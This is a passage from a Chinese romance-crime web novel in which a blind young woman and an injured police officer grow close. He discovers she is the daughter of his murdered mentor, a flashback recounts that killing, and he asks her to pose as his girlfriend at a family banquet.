池念倒是想问问他怎么好端端的搬来她对面,还没来得及问出口,只听见他又接着说。
洛景之此刻一副很好说话的样子:“我受了伤,被迫停职了。”
他这样说,池念才意识过来,她的伤是那个时候因为就她才挨得这一刀,就这样把人家抛在脑后,好像,确实有点过河拆桥的意思。
他该不会是专门来讨债的吧?
池念没敢说什么,只是故意试探的回了句:“哦。”
见她这样淡定,洛景之反倒着急起来:“你这姑娘怎么回事,这么没良心?”
“我之前已经说过谢谢了。”
“一句谢谢就完了?那我这一刀也太冤枉了。”
“那你想怎么样。”
“我觉得,你得弥补我。”洛景之的行为确实有些不要脸,“弥补的话也容易,多照顾照顾我就行了。”
这个人真的好不要脸哦。
可转念又想,她该这样做的。
对方都已经提出这个要求,尽管她再难完成,也要去还这个人情。
池念握紧了手中的盲杖,吞吞口水问:“我要,怎么照顾你……”
“不难,我很好伺候。”洛景之一本正经道:“我今天来确实是想要讨个说法,在这起案子中我是不是救了你。”
“嗯。”
“那我的伤是不是该你负责?”
“是。”
男人打着心里的鬼主意,慢慢低头靠近她:“那我要你照顾照顾我,这个要求不过分吧?”
池念被他说的竟然觉得自己的所作所为怎么就那么忘恩负义。
她一定是被他洗脑了。
姑娘还是考虑到自身因素,说出自己的顾虑:“可是,平时我都是要别人照顾的那个人,我怕照顾不好你……”
洛景之故作思考道:“那也行,就换我照顾你。”
“嗯?”
池念总觉得哪里不太对。
似乎是掉落某人的陷阱里不自知。
男人高傲的说:“我这人就是嘴欠了点,其他都好说。”
这句话逗笑了池念,她笑出声来。
洛景之觉得奇怪,但看她笑的这么开心,反倒是第一次。
小姑娘笑起来嘴角两边有两个很深的酒窝,弯弯的双眸笑起来很生动,似是很容易就将人的魂魄勾去。
洛景之看的出神,但还是忍不住问:“你笑什么。”
“原来你知道呀。”
知道什么?
知道自己嘴欠啊。
洛景之后知后觉:“池念,你就是这么对待自己的救命恩人的?”
“对不起,我下次不会了。”小姑娘还在努力憋笑,模样很是动人。
看着她这么开心的样子,洛景之对她的情感怎么也说不出来。
只是在她听不到的地方低声说了句:“再有下次——”
池念以为他后面的话会是一种“威胁”或什么可怕的后果,赶忙说:“不会了,这次就不要生气啦。”
洛景之不恼,反而认真斟酌起来,最后不知在心里得出个什么答案,嘴角微微扬起,低声补了两个字:“也行。”
洛景之越来越搞不懂自己。
他只觉得自己魔怔了。
这份魔怔,是池念带给他的。
“你要出门?”他问。
“嗯,家里没有馒头和菜了,我出去买些回来。”
“我陪你一起去。”
“你不是应该要好好养伤吗?就不用劳累一起去了。”她说的真诚,“今天中午你就来我家吃饭吧,我做饭可能不太好吃,但我会尽力的。”
“这么容易让男人去你家吃饭,你傻不傻。”
“没关系啊,你跟其他人不一样。”
洛景之因她这话受触动,心里也为她觉得自己与众不同感到开心。
还没来得及高兴完,姑娘又补充一句:“因为你是警察。”
“……”
“池念,你故意气我是吧?”
姑娘强忍着不去笑他,这样的她才是最率真的她。
池念虽然眼睛看不见,但她的生活过的也很乐观,生活过的好与坏都是自己过出来的,她很满足现状。
只是因为这件事,她脸上的笑容很少了。
池念笑的很甜,只是眼睛看不见,不然,她的眼睛带上笑意会更加好看。
姑娘抬起自己的另只手伸过去,柔和道:“那就麻烦洛警官一起去啦。”
“不麻烦,乐意效劳。”
每次下楼梯的时候她都会格外小心,楼梯的危险性会更大些,她习惯两手同时抓着扶手,可现在这样握着洛景之,她却不知怎么很安心。
楼道的空间很窄,两个人并排一起下楼梯相对有些拥挤。
但他们谁都没有在意。
似乎在专注着某件事。
洛景之握着她的手,感受她掌心的温度,心里有些不稳定。
他故意找话题:“医院那边需要帮忙吗?”
“没关系,奶奶输着营养液,有医院那边照顾,我就先回来工作了。”
“哦。”
洛景之本来想问是什么工作时,想到这样或许有些不礼貌,便没再多问。
下楼走出小区,两人一直结伴而行。
洛景之扶她走道旁的阴凉位置,又随口找个理由将她换去了马路内侧,自己走外侧。
而池念自己也能感觉到,如果换做平常,她一定顾不得这些的,只
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能专注去搜索盲人道在哪儿。
还没走多远,不远处路过的两位女生迟迟不能转移目光。
其中一位长发女孩和她的小姐妹议论道:“哇,这小哥哥好帅啊。”
伙伴低声回答:“是啊是啊,眉清目秀的,不过看上去好像不太好惹的样子。”
“那有什么关系,人家有不好惹的资本。”
“是什么?”
“一张帅气的脸啊。”
“……”
听对方这样说,猜想一定是看上人家了,女生故意挑衅:“既然喜欢,那就去要微信啊?”
“是不是傻?人家旁边的是谁?我去要微信,不得尴尬死。”
“你不要怎么知道是不是他女朋友啊?”
“那女生好像眼睛看不见,既然喜欢就去试试吧,万一有机会呢?”
被对方这样一说,她反倒助长了勇气。
倒不是不确定对方是不是他女朋友,而是如果真是这样的关系,有谁会日久不变的去爱一个瞎子。
想到这儿,她才有勇气过去。
女生故意提前将自己的手机号打在自己的手机屏幕上,而后独自一个人过去要微信。
另一人在一旁等着。
女生笑的心机:“小哥哥,你好帅啊,旁边是你女朋友吗?如果不是,方便要你一个联系方式吗?”
“你是我喜欢的类型,要不我们加个联系方式,互相认识一下可以吗?”
她说着,便已经将手机上提前打上去的号码展示给他看。
眼神时不时地盯着旁边的池念,似是怕她会发现。
洛景之明白她的意思,懒得搭理:“不好意思,不太方便。”
“好的,看来这位就是你女朋友了吧,抱歉打扰了。”女生羞愧的收起手机。
“这是我女儿。刚成年。”
“……”
池念:“……”
“啊?对不起,打扰了,再见。”
女生灰溜溜的窜离。
“怎么样怎么样?要到了吗?”等候的女生比她还要兴奋。
“要什么啊!人家女儿都那么大了,站在他旁边的女孩不是他女朋友,是他女儿!!!”
“什么?!真是看不出来啊。”
“糗死了!赶紧走赶紧走。”
两人互相拉扯着头也不回的逃离。
池念一直深陷他刚才的回答中。
他拿我来当挡箭牌……
洛景之见她久不说话,主动问:“怎么了?”
“你,长得很帅吗?”
她严肃的问,毕竟她见到的男生很少。
帅气的男生就更少了。
“还行,一般长相。”
池念没再问什么,而是继续走着。
洛景之本想再继续搀扶她,却被小姑娘刻意躲开。
池念低着头不敢看他:“你以后,能不能不要总说我是你女儿。”
“你不高兴的话以后不会说了。”
“不是……”她倒不是在乎这个,“就是你,拿我做挡箭牌……不太好。”
“你是在意这个啊。”洛景之有些痞帅,整个人时而正经时而不正经,“那也可以不做挡箭牌,给你个名分,行不行?”
“什么名分?”她当真好奇起来。
洛景之觉得是自己得意忘形了,这姑娘还不懂,他还是收敛些比较好,别给带坏了。
见她还在等自己答案,于是改口道:“没什么,以后有机会你就知道了。”
他再搀扶时,姑娘这次并未拒绝。
洛景之问:“渴了吗?那边有家奶茶店,想喝吗?”
“嗯。”
“有没有忌口的水果?”
池念张张口,学他一副欠欠的模样::“没有,我也很好伺候的。”
“……”
9. 09
回到池念家里,洛景之手里拎着两提蔬菜和其他食材。
“今天谢谢你陪我去买菜了,我自己去可能又要很长时间才能拿回来。”池念满脸都透露着喜悦。
“厨房在哪儿?”
“在那边。”她指了指。
随后,洛景之将将今天买的食材都放到了厨房里。
其余一些放进了冰箱里冷藏。
“今天却是辛苦啦,你先坐下,我给你倒杯水。”池念慢慢走去水壶位置
“不用麻烦了。”他说。
“应该的,救命恩人~~~”池念声音软甜软甜的,听的洛景之心里暗暗躁动。
洛景之坐在沙发上看着周围的摆设:“你平时就是和奶奶一起生活是吗?”
“对。”池念回应。
屋里很干净,可以看出主人是非常爱干净的。
电视柜台摆着一张两人的合影,他忍不住凑过去看。
这是池念和林霞的合照。
“那叔叔阿姨不和你们住一起吗?”
池念手里一怔,将倒好的水端到茶几上:“我爸爸去世了,妈妈在爸爸去世的那一年就改嫁了。”她的情绪已经可以控制,不会那么随便就哭了,“这么多年,我一直都是和奶奶一起生活。”
这个回答,他感到意外。
同时又不知道怎么就把话题聊到这么沉重的环节。
洛景之总以为她的父母在远方工作,才无法陪在她身边,没想到却是这样的结果。
“对不起,我不知道……”
“没关系,都十年了,我也已经想开了。”
十年了……
原来她在小时候父母就已经……
洛景之的心情也变得沉重起来:“我可以看看墙上的其他照片吗?”
“可以,你随便看吧。”
通往卧室的墙壁上,都挂满了他们一家人的合影,如今已经物是人非,这些合影她依旧还保留着。
洛景之只是想了解一下她的生活,经历着不属于她这个年纪该经历的痛苦。
这样的小姑娘,怎么会不让人感到疼惜呢。
洛景之的目光凝视过照片上的每个人,他的指腹抚摸着这老旧的照片。
他看的认真,正想看看池念这幅好模样是像爸爸还是像妈妈时,照片上的一个人,吸引了他的注意。
只见最上面的照片比其他照片都大出许多,还特意装了相框。
幼小的池念身后站着一男一女,三人是在照相馆照的,照片很和谐,可照片上的男人被洛景之死死凝视着。
“这是……”他看的惊讶,甚至目瞪口呆。
这么幸福的一家人,不用脑子想也该知道,这个男人,就是池念的父亲。
洛景之颤抖的手指快速擦了擦玻璃上挡住视线的尘土,他只想看清楚些。
“怎么会……”男人觉得匪夷所思,久久不能平复这心情。
“怎么不说话了?你在看什么那么认真?”池念边说,也边朝着照片墙的位置走来。
“池念,你来。”
“怎么了?”
他激动地描述着:“这最上面的照片里,站在你身后的人是谁?”
“是我的爸爸和妈妈。”
果然是。
他没有猜错。
没想到,池念竟然是他老师池国霖的女儿……
洛景之把这一切当做缘分。
他受老师那么多恩惠,在得知池国霖被杀的时候也是不敢相信,他一直在追查凶手。
想尽办法追查凶手的下落,立誓一定要为老师报仇。
只是阴差阳错的发现。
池念竟然是自己老师的女儿。
洛景之看了看照片里的人,又仔细打量着池念,感叹道:“竟然会这么巧。”
“什么巧?”
“池念,你听清楚,你父亲池警官是我的老师,他和我父亲是旧相识,也是多年的老朋友,他每次去我家,都会教给我很多东西,我这些年一直在追捕杀害他的凶手。”
“什么?!你认识我爸爸!!”
他像是捉到了救命稻草,双手握住她的肩膀:“当年的案子有很多缺陷,那时候条件不允许,很多重要的证据都没有得以保存,你仔细想想,池老师当年是怎么死的?你当时又在哪儿?”
“我……”池念被他问的完全没了思绪。
只要回忆起十年前的事,她的意识总是会刻意逃避,那时候她还小,看到那么恐怖的一幕只有害怕。
池念忽然觉得头疼欲裂:“我不知道,什么都不知道!”
她又开始逃避。
池念挣脱开他的双手,疯狂的捶打自己的头部,似乎只有这样才能让她好受些。
“我的头,头好痛!”
“池念,你冷静点,想不起来我们就不想了,我们还有时间,冷静点。”洛景之抓住她的手腕,防止她情绪失控再次伤害自己,“事情都过去了,我们不想了。”
“对不起,是我的错。”
洛景之耐着性子去安慰她,他太迫切的想知道事情的过程,反而忽略了她的感受。
这对池念来说是一个很大的打击。
他将这小姑娘抱在怀里,言语间皆是温柔。
池念不愿面对过去,那是一场无法磨灭的噩梦。
她双手被控制着,靠近这温暖的怀抱中,虚弱的说:“洛景之,我可以求你帮我一个忙吗?”
“你说,只要我能做到,全都答应你。”
“求你,帮我找出杀害我爸爸的凶手……”
“我答应你,这件事我一直都在做。”他眼神中藏匿着的丝丝狠意难以遮掩,“凶手早晚会为自己的行为付出该有的代价。”
他查了那么久,找了那么久,也一定不会让凶手逍遥法外。
而池念也一直觉得自己可以从容地面对这些。
可是已经十年了。
十年了她都没有完全放下。
是啊。
亲眼看见自己的父亲死在面前,又有谁可以放得下。
洛景之不断安慰着她,过了很久,池念才门面恢复平静。
说是来让她照顾他,可期间却是洛景之为她做了两道有营养的菜肴。
“尝尝,看好不好吃?”洛景之一脸得意。
“好。”
见她吃的开心,他才又说:“刚才是我没有考虑到你的情绪,既然你拜托了我这件事,那不管发生什么,我都会追查出背后的凶手。”
“这件事,本来你可以不用参与进来。”池念觉得愧对他,“我会努力战胜心里的自己,将事情完整的描述出来。”
“不要强迫自己。”
“嗯。”
聊天期间,洛景之手机响起来。
他偷偷看了眼来电人,是洛明诚。
这个电话他表示不是很想接。
以至于手机响铃一直持续,被池念听见。
“不接电话吗?”
“那,等我一会儿,你先吃,马上回来。”
“好。”
池念的思绪多数还在刚才的回忆中,但她总是强迫自己不去想,好容易洛景之做了两道她没吃过的菜,她故意多吃两口,想掩盖那些不好的回忆。
洛明诚的电话他已经猜到了目的。
无非就是逼他回去相亲。
可这个电话不接,后面还会连续多个打过来。
洛景之无奈还是按了接听:“怎么了?”
“现在接电话连爸也不喊了是吧?”
“爸您到底想要怎么样?”
顺着意思喊了他一声,洛明诚的气也消了许多:“明天是你爷爷生日,我邀请了一
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些商业精英的千金来家里参加宴会,而且我也听说了,你负责的那起案子已经结案了,明天你必须到。”
“您就非要这么控制我的一切吗?”
“你已经大了,什么事不能由着自己的性子来,这话我已经说了无数次了,你还是没有听进心里去。”
洛景之感到头痛:“行,我可以答应您回去,但您必须答应我一个条件。”
“说说看。”
“明天不管相亲结果怎么样,您都不要再逼我相亲。”
“……”
电话那边像是陷入思考,沉默片刻后,洛明诚回答:“明天只是简单的贺寿,跟相亲有什么关系。”
他在掩盖真实的目的。
但这些目的早已被洛景之看穿,他索性直接拆穿:“没有人比我更了解您的心思,您是董事长,建立了first集团的确是事实,但请您不要把商业职场上的那些心思用在我身上。”
他继续说:“您的身体还康健,不着急找候选人,我也不是最合适的人选。”
“这些话我也说过很多遍,您同样也没听进去心里,在这方面,我们还是很像的。”
“所以您不如随了我妈的意思,将这公司继承人留给洛延之。”
“他比我更适合。”
这些话他说了很多遍,洛明诚一句没听进去。
只因洛延之大学还没毕业,而洛景之已经到了谈婚论嫁的年纪,是最好的候选人。
但洛景之醉翁之意不在酒,因为池国霖的死,让他在求学的道路上多了一个执念,势必要捉到杀害他的凶手。
他也一直在为这件事努力着,破了那么多的案子,十年的血娃娃案子至今未破,他心中没有别的想法。
只是没想到他却遇到了当年池老师的女儿。
电话那边沉默了很久,洛景之不知道他是不是真的有在认真思考他刚才的话。
池念感觉他打了好久的电话,想去看看怎么回事,但碰巧听到他们对话。
她刚想开口喊他,却被电话另一头的声音打断。
过了很久,洛明诚才缓缓道出:“你还是放不下你老师的死。”
他反问一句:“您能放得下吗?”
他当然也放不下。
池国霖和洛明诚两人是至交好友,洛明诚是白手起家独自创建出first公司,可这“独自”的背后,还有池国霖的不断帮忙。
可以说,没有池国霖,也就没有洛明诚的今天。
自此,两人的关系非比寻常。
“放不下那又怎么样?已经十年了,这个案子太难了,不是你能够破的了的。”
“我在等。”
“等什么?”
“等当年的凶手再次作案。”
洛明诚从头到尾都没有对他抱有太多的信心:“如果凶手从此洗清革面就此收手了呢?”
场面在此刻陷入艰难。
这些对话被身后的池念听的一清二楚。
她没想到这件事的背后,还有一个人在默默努力着。
尽管很多人不知情,他也从来没有放弃过追查凶手。
池念没有任何时候比现在更能感受到温暖。
“不管他逃到哪里,我都会尽我所能的去逮捕他。”
“嗯,我尊重你的决定。”洛明诚又说:“但我不会同意你的条件,明天如果你不来,我有的事办法让你站在这儿。”
说完便挂断了电话。
池念内心感到澎湃,她是在为爸爸感到开心,至少还有一个人在维护他。
至少还有一个人在替他抓捕凶手这条路上不断努力着。
她心中更多的是对他的感激。
池念扶住门框的右手逐渐松了力度,这整个人摊到在地上。
洛景之听闻声音,朝门口看去:“池念?!”
10. 10
他的神情满是担心:“怎么了?先起来。”
他多少猜到一些,猜测池念听到了刚才他们电话里的内容。
洛景之扶她到沙发上坐好:“刚才我们说的,你都听见了?”
她眼神涣散,呆呆地“嗯”了声。
而后陷入自己那仅仅记起的片刻回忆。
“那个时候,没有人可以帮我,我跟奶奶说,我们要替爸爸找到凶手,可是奶奶怕凶手找上我,所以劝我放弃。”
“我跟妈妈说的时候,妈妈觉得人都已经死了,追查凶手是警察的事,跟她无关,跟我无关,也是极力反对。”
过去的回忆对她来说是噩梦般的存在。
这么多年,她不止一次的梦到父亲的死,犹如梦魇般困着她。
“我不理解他们的做法,可是就连自己的亲人都不相信凶手可以落网,警察又怎么会相信。”
“所以那年他们问话的时候,我一个字都没说,或许那个时候还小,什么都不懂,总觉得大人的决定就是对的,我只好选择相信。”
所有人都觉得,是那个时候的池念太小,太害怕,所以才没有对警方说起过这件事。
为了不刺激年幼的池念,监护人,也就是她的母亲和奶奶,都决定放弃追查父亲池国霖的死。
池念满心不甘,说话间,眼眶又逐渐湿润:“所有人都反对,他们都不敢,可我长大后又没有办法获得线索,所以每次想起这件事我都不敢去面对。”
她不是不想去管,而是那个时候的她太小,她对警察没有任何帮助。
可长大之后再想追查这件事时,她却发现,现在的她,却连当年十岁的自己都不如。
“他们所有人都不让我去说出有关凶手的线索,我甚至怀疑自己这些年一直以来坚持的事到底是对还是错,没有人可以帮我,我不知道自己该怎么做……”
姑娘无助的诉说自己的苦衷。
在长辈的怂恿下,她逐渐丧失了明辨是非的能力。
没有人承认她的想法是对的。
“你没错。”洛景之坦言。
他的肯定引得池念双眸放空瞬间,而后又迅速看向他。
似乎眼中满是不可思议。
“错的是他们。”他说,“我相信,池念不会错。”
“就算你真的做错了,那也是不得已才选择错的。”
“……”
这样的信任让池念感动的热泪盈眶。
相处十几年的亲人反对她。
可刚认识几天的男人,却一直都在支持她。
这是池念万万没有想到的。
-
十年前,晚上七点。
池国霖在调查顾城孩子被杀的案子,这几天他忙的焦头烂额,连着几夜都是睡在警局。
顾城接连被杀的十岁左右的孩子已经严重引起人民群众的恐慌,这给了警局很大的压力,上司命令池国霖务必在最短的时间内将凶手捉拿归案。
可说的容易,真正查起来,凶手的反侦察能力很强,加上设备条件落后,想捉到凶手也是极大的困难。
今晚他本想宿在警局,可突然收到妻子打来的一通电话。
池国霖叹口气,按了接听:“喂。”
“是我呀爸爸。”
“是念念啊,你给爸爸打电话有什么事吗?”
小池念难以掩饰自己的开心:“爸爸,我今天考试拿了第一名,老师给我发了奖状,你都好久没有陪我和妈妈了,你回来陪陪我们好不好呀?”
见女儿这样说,池国霖才将目光转移到桌上的那个日历上。
仔细一数,都已经一个月没有回去了。
看到女儿这满心期待的样子,他扬着微笑道:“好,今晚爸爸回家陪我们念念。”
“好呀好呀,妈妈知道了肯定会很开心哒。”
孩子毕竟是孩子。
池国霖因为长期不回家的原因,遭到妻子李美玲的不满,对方索性直接提出了离婚。
而他则是看在女儿的份上一直不同意。
李美玲就一直吵着闹着非离婚不可,渐渐的,池国霖为了避免女儿看到他们争吵,加上公务在身,他就很少回家。
然而回家后,池国霖最先看到的不是女儿,而是妻子李美玲。
仅此,他便看出是她想见他。
池国霖脸色一变,没了刚才的性质:“那个电话,是你让念念打给我的?”
“是。”李美玲倒也不解释,直接承认,“我不想再拖了,我们尽快办离婚手续吧。”
“你就那么想离婚?!”
“是!这婚非离不可!”
池国霖早就预料到,每次回来都是这样的结果:“那女儿呢,离婚念念怎么办?”
“孩子归你,跟我有什么关系。”李美玲毫不留情面,“只要你同意离婚,你提出的任何要求我都可以考虑。”
“……”
这话他不敢相信会从她嘴里说出来。
“我们之间已经没有感情了,我想要的你也给不了我,为什么还要互相折磨互相纠缠呢?”李美玲苦口婆心的劝解,“国霖,我们回不到从前了,就放过彼此吧。”
她说话决绝,丝毫不顾及他和女儿。
仿佛只要他同意离婚,她可以不择手段。
说到这儿,他也不得不确认自己之前的猜想,池国霖眼眶湿润,像那豺狼虎豹似的盯着她:“你是不是,外面有人了……”
这个猜想曾经有一瞬间浮现出来,但他始终不相信她会这样的人,甚至自欺欺人的告诉自己要相信她。
可事情发展到现在这地步,他不得不相信。
李美玲没有回答他这个问题,心里默认。
更多是心虚。
池国霖笑了,笑中带着哭,更多是夹杂着心酸和无奈。
他大笑过后,眼中的泪水已经滑落脸颊,最后吐出三个字:“我同意。”
这个决定让李美玲有些措手不及,显然被他这个决定惊讶到。
李美玲甚至没思考,果断道:“行,明天早上,我们民政局见。”
她走的是那样潇洒,抛弃他们如同抛下一个重担。
池国霖只觉得自己的感情就是个笑话。
又或者,是自己的冷落才让她走的时候连头都不愿意回。
他愤恨的将拳头垂向地面,似乎以此就能泄愤,可再怎么用力都无法宣泄内心的不舍和无助。
职场上,他是人人敬仰的警察。
可在婚姻中,他是个失败者。
池国霖沉陷在悲痛,丝毫未注意到从屋内走出来的小小身影。
身影走到他跟前,柔软的声音唤醒他的理智:“爸爸,你怎么哭了?”
“念念,你在屋里?”他惊讶到。
“是呀。”
如果是这样的话,那刚才的对话她就听见了?
他和李美玲之间的争吵也就被……
池国霖牵过她的手,又快速摸了摸眼泪,追问道:“那你,刚才有没有听到什么?”
小池念怀着心中那点童真,回应道:“没有啊,刚刚妈妈给我放了一首很好听的歌,爸爸,你要不要听听?”小姑娘将自己手里的耳机递过去,另一只手还握着MP3。
注意到她手里的耳机,池国霖才松口气。
看来,她没有听到他们的对话。
他忽然觉得,李美玲在对待池念上,也是有母爱的,哪怕这份爱很渺小。
只不过,她一旦选择爱孩子,就没有办法爱自己。
对于她来说,这两者是有冲突的。
池国霖从来都不怪她,夫妻情分早晚有散的一天。
他强
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颜欢笑着:“爸爸不听了。”
“我拿奖状了哦爸爸,我没有让你们失望。”
“嗯,爸爸一直都知道,你是个好孩子,我们念念是最棒的!”他说话间,刚擦干的眼泪又止不住的往下流。
因为到了明天,她就只有爸爸了。
池国霖还在想,他该怎么跟一个十岁的孩子解释。
“念念,爸爸还有事情要忙,你先去完成老师布置的作业好不好?明天爸爸给你买……”他说到这儿忽然停顿了,苦笑着改口又说,“明天不行,后天爸爸给你买蛋糕吃,当做奖励好不好?”
小池念没有意识到事情的严重性,她的心里在乎的只有那块蛋糕:“好,谢谢爸爸,我这就去写作业。”
离婚这条路在他的意料中,他也知道自己忽略了李美玲的感受。
她想要一份有爱的婚姻,可他被案件缠身,注定给不了她这份爱。
池国霖看着女儿回去房间的背影,心里难过的几乎窒息。
没想到心中早有的预料结果,等到发生时,仍旧会那么痛苦。
他怎么会不爱,哪怕李美玲不爱他了,他心里已然有她的位置。
池国霖不知不觉翻找出他们的结婚证,上面的日期距离现在是一个遥远的数字。
那本结婚证在他手里握了很久,他对着窗外持续发呆,在这租聘的二层小破旧屋子里,呆呆看了很久。
直到一个声音打破了这宁静的夜晚。
“爸爸——”
小池念的声音在屋里传来,她似是被人吓到,下意识嘶吼。
池国霖凭着多年的办案经验,迅速反应过来,他快速冲进卧室。
果不其然,当他冲进去看到的一幕令他失了理智。
一名行凶歹徒趁着夜色翻到家中来行凶,目标就是小池念。
只是一个巧合,正在写作业的小池念听闻窗户处有声音传来,她忍不住好奇去看,结果却发现这名歹徒已经将要爬上来。
小姑娘因为害怕下意识喊出爸爸。
在被凶手遏制住的时候,小池念急中生智,抓住机会使劲咬住他的手。
对方吃痛松开她,这才得以脱身。
池国霖将女儿快速护在身后,自己则是和歹徒殴打起来。
他知道,这个人就是接连杀害无辜孩童的凶手,他追了他很长时间。
两人的争斗中按理说应该是池国霖占上风,可对方的身手丝毫不差,如果没有些真本事,或许不会这么轻易的躲过警察的追踪。
可为了保护女儿,池国霖几次陷入危险,最后却还是中了对方的偷袭。
池国霖身上挨了几刀,可看到凶手朝着自己的女儿走过去,他拼了命的去抱住他的双腿,尽最大力气将人绊倒。
“念念,别管爸爸,快跑,快跑!”这是他作为父亲唯一可以做的。
小姑娘看着眼前的一幕已经眼泪汪汪,而凶手气急败坏的朝着池国霖身上疯狂坎刀。
瞬间,血液遍布在整个房间,地板上已经被血洗刷。
那带有惊悚的红色蔓延在房间,小池念被吓得呆愣在原地,反应过来时,池国霖已经被刺了数刀。
她快速朝着外面冲去,可刚走到屋外,脚下一不小心,幼小的身躯径直从楼梯上滚下去。
池念摔倒在楼梯下的一处垃圾堆里,她的后脑在滚落期间磕到一块硬物上,导致眼睛失明。
垃圾堆处的两个黑色塑料袋碰巧吹在她身上,将她小小的身体完整的盖住,仅有手脚还裸露在外面。
夜晚的视线受阻,当凶手解决掉池国霖再追出来时,已然看不见小池念的身影。
他便顺着暗处的小路追去。
而小池念是等到第二天,清理垃圾的环卫工人发现她,急忙报了警。
从而池国霖被杀的事也正式被立案。
11. 11
次日,上午九点。
洛景之知道洛明诚的手段,他会为达目的不顾一切。
他只是不想将事情搞得太难看,最后收不了场。
所以对于洛明诚的命令,他只有顺从。
洛景之懒得和他争斗心思,他所有的心思都在查案上。
而真正让他决定要去参加这场生日宴时,还是一通电话。
洛景之的刀伤对他来说似是一点小历练,根本没当回事,但伤就是伤,也会扰乱他的睡眠。
他还没睡醒,却先被自己的手机来电吵醒。
洛景之迷迷糊糊的摸索到床头的手机,胡乱按了接听键,第一次没看清,没按准,他迫使自己睁睁眼又重新按了一次。
慵懒的声音贯穿在房间里:“喂,谁?”
“是我。”
听清楚声音后,洛景之瞬间没了困意:“张局,您找我有事?”
但回过神再想,现在他是在假期中,也没什么公务需要他亲自打电话来说吧?
“洛景之,明天空出时间,你爸给你安排了一场相亲。”
“……”
对方又道:“全顾城的名媛几乎都给你找来了,你爸也放下狠话,绑也得绑一个回来。”
这事洛景之也大概了解了。
洛明诚知道这个案子已经破了,但他不知道自己受了伤被张局强制放假养伤,所以竟然把电话打到张局那里去了。
不用想也知道,洛明诚肯定是对张局达成了某种协议或威胁。
他总有他的办法。
洛景之叹口气,应付道:“我知道了,谢谢您张局。”
“嗯。”
所以他非去不可的理由,也在其一。
挂了电话,他翻来覆去睡不着,索性起来给伤口换了药,又重新包扎好。
这场鸿门生日宴他不想去,但又不得不去,如果是这样的话……
他或许可以化被动为主动。
早上,洛景之敲响池念的家门。
池念已经梳洗好,也做好了早饭,偏他敲门的时候,姑娘几乎同时打开门。
两人四目相对,觉得巧合确实是巧。
“早上好。”洛景之主动打招呼。
“早上好。”
“你要出门吗?”
池念端着手里忙碌一早上的劳动成果给他看:“我做了早餐,想给你送一些过去。”
“这是你做的?”
“嗯,可能不是很好吃,不要嫌弃……”
这样的待遇洛景之多少有些受宠若惊,脸上带着笑意:“不会。”
“我能进去吃吗?”
“可以。”
池念起了个早,专门为了炒这个鸡蛋金油饼。
洛景之倒也不客气,坐下就直接开吃。
池念虽然看不见,但是听着他狼吞虎咽的声音也可以知道,他似乎觉得她的炒饼还不错。
洛景之边吃边说:“你脸色看上去不太好,昨晚没睡好?”
“熬夜工作了。”
“什么工作。”他最终还是问了。
“睡前故事主播。”
这个职业洛景之觉得确实很适合她。
看她的状态,昨晚好像熬夜挺长时间。
她一个人,也没有陪着。
洛景之咀嚼的动作忽而放慢,似是对眼前小姑娘的心疼。
他想了想,有了主意:“这样,你告诉我你的账号,我也去听听,最近案子有些费心神,也有点失眠睡不着。”
“我的故事,都是哄小孩子的。”
“大孩子不行吗?”
她摇摇头:“不知道,我看不见直播间有什么人,我的上司姐姐告诉我说,直播间里家长父母比较多。”
“哦。”他停顿下,“那我今天能不能要到你的账号?”
池念有些不好意思的低声说了句:“能。”
她原本只是不好意思,忽然有了一个朋友要听她的故事,这就有种在大街上luo奔的感觉。
两人话题沉默片刻。
洛景之吃饭很快,不像女生那般温柔的细嚼慢咽,分分钟就能吃完一盘子炒饼。
池念昨晚直播并没有很晚,只是她的心思都在昨晚和他说的关于父亲的事。
这是她除了亲人,第一次和人说起池国霖的事。
昨晚她怎么也睡不着。
直到这顿饭彻底结束,洛景之说出自己的请求:“池念,我想求你帮个忙。”
“可以的。”
“你都不问是什么忙就答应了?”他不怀好意道,“如果我把你卖了怎么办?”
“就算真是这样,我也要同意啊。”
洛景之问:“为什么?”
“因为你答应了我,要帮我捉到杀害爸爸的凶手,这么大的忙,不管你说什么我都会答应的。”
池念说话有一点难以让人拒绝的理由。
那就是真诚。
让人觉得拒绝这么乖巧的姑娘心里会有愧疚感。
洛景之就是。
他似乎就是这样慢慢越陷越深。
那样的商业纠纷,他原本不想将池念牵扯进去。
可是他不愿找旁人去扮演他这“女朋友”,他知道自己自私,那就自私这一回吧。
洛景之凝神片刻,认真道:“我想让你,扮演我女朋友。”
“……”
“女朋友”这个词是她从前没有接触过的。
池念听的心头一震。
看他的模样不像是开玩笑。
这个恩情还也不合适,不还又不太好……
池念脸颊微微透着苹果红,不好意思道:“你怎么会,想让我扮演你女朋友,那你真的女朋友不会不高兴吗?”
洛景之真的要被她“气死”了,看着她这清纯有趣的模样他笑了:“你是不是笨?”
他宠溺的弹了他脑门一下:“我如果有女朋友的话,为什么还要找人扮演?直接带着女朋友去不就好了?”
“哦,原来是这样。”池念心里不知怎么反而很高兴,“那去做什么呢?”
池念心里始终不自信:“我的眼睛看不见,如果是我的话,会不会……”
“不用担心那么多,也不用担心别人对你的看法,我看中的人,一定都是最好的。”
洛景之的话对她起了很大的鼓舞,她从前都是奶奶这样鼓励她,原来,她和洛景之也可以走到这么近。
他又道:“不过我还是要把事情告诉你,这场宴会其实是我父亲为我爷爷举办的生日贺寿,表面上是这样,但紧接着又宴请了各大商业上有头有脸的大人物来参加,还让他们带着自己的女儿一起来,你觉得这是什么意思?”
她大胆猜测:“是要给你相亲吗?”
“嗯。”他说,“所以这就是我想请你扮演我女朋友的原因。”
“你家里,很有钱吗?”她觉得自己
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的问题有些好笑。
“我不想骗你。”洛景之说,“first集团你有听过吗?”
“听过,在手机里听过,是一家很了不起的贸易外交公司。”
“那董事长,是我爸。”
“……”
池念愣住。
有些不理解,他是怎么如此淡定的说出,first集团董事长是他爸的?
而后反应过来,她竟然和这么大身份的少爷相处了这么久。
洛景之,是董事长的儿子。
简单的一句话,需要她慢慢消化。
知道事情原由后,池念又小心问:“如果是这样,你完全可以在众多千金中遇到一个合适的真的女朋友的……”
她也不太懂自己现在是什么情绪。
他可以选择一个和自己门当户对,同时又自己喜欢的女孩。
池念没有谈过男朋友,也不了解情侣之间是一种怎么样的喜欢,更不知道自己对洛景之是种什么情感,所以才带着满脸单纯的模样说出这句话。
“因为本少爷不想。”他的脸阴沉的厉害,明显有些不悦。
他怎么突然生气了?
是不是刚才我说错什么话惹他生气了……
一个是不懂情爱的小姑娘。
一个是喜欢却又在确认的边缘上疯狂试探。
好歹是个大少爷,他多少还是要点脸和面子。
见有些吓到这个小姑娘,洛景之意识过来收起了情绪:“我有喜欢的姑娘,虽然那个姑娘傻傻的,但没办法,就是喜欢。”
“……”
